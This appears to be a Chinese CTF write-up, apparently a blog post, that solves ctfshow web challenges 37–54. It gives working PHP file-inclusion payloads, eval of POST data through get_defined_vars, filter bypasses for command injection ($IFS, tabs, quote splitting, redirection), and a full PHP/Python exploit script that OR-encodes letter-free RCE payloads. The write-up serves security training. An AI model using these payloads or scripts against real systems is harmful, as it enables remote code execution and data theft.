#两天超大杯
-
web 37
普通的文件包含,那就只说一种方法好了:
?c=data://text/plain,<?=system('tac fla?.php');?> -
web 38
跟上题差不多,改一下就行:
?c=data://text/plain,<?=system('tac fla*');?> -
web 39
在最后面加了个.php,但是不必在意,跟上题一样就行:
?c=data://text/plain,<?=system('tac fla*');?> -
web 40
看似过滤了很多东西,实际也确实,但注意题中过滤的是中文小括号,所以括号是可以正常使用的
先引入亿点点函数:
localeconv():返回包含本地数字及货币信息格式的数组,其中数组中的第一个为点号(.)
pos()/current():输出数组第一个元素,不改变指针
scandir():获取目录下的文件
array_reverse():数组逆置
next():函数将内部指针指向数组中的下一个元素,并输出
print_r():函数用于打印变量,作用对象是变量
show_source()/highlight_file():查看源码
get_defined_vars():返回一个包含所有已定义变量的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等
getcwd(): 返回当前工作目录,它可以代替pos(localeconv())
array_pop(): 删除数组中的最后一个元素并返回其值
首先查看目录结构,构造:
?c=print_r(scandir(getcwd()));
找到flag位置在索引[2]
接下来逆转该数组,把flag.php放在index.php后面,构造
?c=print_r(array_reverse(scandir(getcwd())));
接下来查看源码就大功告成了,构造:
?c=show_source(next(array_reverse(scandir(getcwd()))));
上述方法是从文件入手,还有一种方法从变量入手:
首先构造出查看当前所有变量的函数:
?c=print_r(get_defined_vars());
此时查看post变量,构造:
?c=print_r(next(get_defined_vars()));
此时若在post中传参,例如:
post传参:1=system("tac fla?.php");
此时会发现post的数组中出现了该值
而array_pop()函数可以删除数组中的最后一个元素,并返回该元素
例如构造:
?c=print(array_pop(next(get_defined_vars())));
这样就可以打印post中我自己传递的参数
所以现在只需执行该命令,构造:
?c=eval(array_pop(next(get_defined_vars())));
post传参:1=system("tac fla?.php");拿到flag
-
web 41
经典的无字母rce,但过滤了$、+、-、^、~使得异或自增和取反都无法使用,所以这题我不会做,看答案了
这是羽师傅介绍的一种或运绕过,因为本题没有过滤或运算符|[ctfshow web入门 web41](ctfshow web入门 web41_ctfshow web41-CSDN博客)
首先是脚本rce_or.php:
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);通过以上 php 脚本生成一个 rce_or.txt,内容是上述可用字符及编码。
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
接着是exp.py脚本:# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)用法是
python exp.py <url>
所以本题先运行第一个php脚本得到rce_or.txt,接着运行第二个python脚本,输入相关命令得到flag
例如:

注意:exp.py后面跟的url要改为http开头! -
web 42
command > /dev/null 2>&1:输出重定向,会将标准输出和标准错误都重定向到 /dev/null ,即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行此处可以构造
?c=ls; ?c=tac flag.php;此处不需要再打上双引号,PHP会自动处理字符串拼接
-
web 43
;被过滤了,可以采用||,例如构造:
?c=ls|| ?c=tac flag.php|| -
web 44
?c=tac fla?.php|| -
web 45
?c=tac$IFS$9fla?.php|| -
web 46~49
?c=tac%09fla?.php|| -
web 50
老实了,但我还有<>绕过空格
?c=tac<fla''g.php||此处就不能通过?绕过flag了,具体原因我也不太清楚,望有师傅教导
-
web 51
?c=t‘’ac<fla''g.php|| -
web 52
这题<>被过滤了,但
$又能用了,所以尝试${IFS}绕过空格先尝试了一下
?c=t''ac${IFS}fla''g.php||,发现没有得到flag,而是得到flag_here
猜测本题flag不在flag.php中
构造:
?c=ls${IFS}/||
发现存在flag
直接tac一下:
?c=t''ac${IFS}/fla''g||拿到flag
-
web 53
没有输出重定向了,只需向上题那样绕过空格,例如:
?c=t''ac${IFS}fla''g.php -
web 54
本题为严格过滤,这些命令都用不了了
首先确定flag位置,构造:
?c=ls
发现flag.php,构造payload:
?c=grep${IFS}'fla'${IFS}fla?.phpgrep用法:
grep [选项] "搜索模式" 文件名 例如:grep "hello" example.txt # 搜索包含"hello"的行其实我第一时间想到的是uniq命令,但是失败了,我也不太理解

4573

被折叠的 条评论
为什么被折叠?



